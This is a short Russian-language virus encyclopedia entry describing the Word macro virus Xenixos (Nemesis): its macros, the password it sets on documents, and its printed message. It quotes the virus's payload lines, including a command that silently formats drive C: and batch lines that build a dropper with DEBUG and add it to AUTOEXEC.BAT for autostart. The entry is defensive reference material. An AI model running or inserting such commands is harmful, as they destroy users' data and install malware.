Энциклопедия компьютерных вирусов
Macro.Word.Xenixos (Nemesis)
Зашифрован, состоит из макросов: Drop, Dummy, AutoExec, AutoOpen, DateiЦffnen, ExtrasMakro, DateiBeenden, DateiDrucken, DateiSpeichern, DateiSpeichernUnter, DateiDruckenStandard. Ставит на документы пароль "xenixos", выводит текст:
Diese Option ist derzeit leider nicht verf0gbar. Fehler
При печати документов добавляет в их конец:
Brought to you by the Nemesis Corporation, й1996
1-го мая записывает в файл AUTOEXEC.BAT команду:
@echo j|format c: /u >nul
Запускает вирус "Neurobasher.b". Для этого создает файл C:\DOS\SCRIPT.SCR, записывает в него шестнадцатеричный дамп вируса. Затем создает файл C:\DOS\EXEC.BAT и записывает в него строки:
@echo off debug < script.scr>nul rem debugger.com echo @c:\dos\debugger.exe>>c:\autoexec.bat del c:\dos\script.scr del c:\dos\exec.bat
Затем вирус запускает этот файл. В результате DEBUG.EXE создает файл DEBUGGER.EXE, а к файлу C:\AUTOEXEC.BAT дописывается строка:
@c:\dos\debugger.exe
Таким образом в конец AUTOEXEC.BAT дописывается команда запуска "дроппера" вируса "Neurobasher.b".
